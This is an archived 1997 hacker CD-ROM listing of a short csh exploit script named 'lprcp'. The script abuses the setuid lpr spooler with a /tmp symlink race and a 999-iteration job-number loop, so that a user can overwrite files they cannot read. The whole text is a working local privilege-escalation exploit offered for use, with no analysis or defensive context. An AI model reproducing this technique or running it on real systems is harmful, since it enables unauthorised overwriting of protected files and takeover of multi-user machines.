home *** CD-ROM | disk | FTP | other *** search
/ For Beginners & Professional Hackers / cd.iso / hackers / exploits / linux / linux-~8.asc < prev    next >
Encoding:
Text File  |  1997-03-11  |  759 b   |  30 lines

  1.  
  2.  
  3.  
  4.  
  5. #!/bin/csh -f
  6.  
  7. #
  8.  
  9. # Usage: lprcp from-file to-file
  10.  
  11. #
  12.  
  13.  
  14.  
  15. if ($#argv != 2) then
  16.  
  17.         echo Usage: lprcp from-file to-file
  18.  
  19.         exit 1
  20.  
  21. endif
  22.  
  23.  
  24.  
  25. # This link stuff allows us to overwrite unreadable files,
  26.  
  27. # should we want to.
  28.  
  29. echo x > /tmp/.tmp.$$
  30.  
  31. lpr -q -s /tmp/.tmp.$$
  32.  
  33. rm -f /tmp/.tmp.$$              # lpr's accepted it, point it
  34.  
  35. ln -s $2 /tmp/.tmp.$$           # to where we really want
  36.  
  37.  
  38.  
  39. @ s = 0
  40.  
  41. while ( $s != 999)              # loop 999 times
  42.  
  43.         lpr /nofile >&/dev/null # doesn't exist, but spins the clock!
  44.  
  45.         @ s++
  46.  
  47.         if ( $s % 10 == 0 ) echo -n .
  48.  
  49. end
  50.  
  51. lpr $1                          # incoming file
  52.  
  53.                                 # user becomes owner
  54.  
  55. rm -f /tmp/.tmp.$$
  56.  
  57. exit 0
  58.  
  59.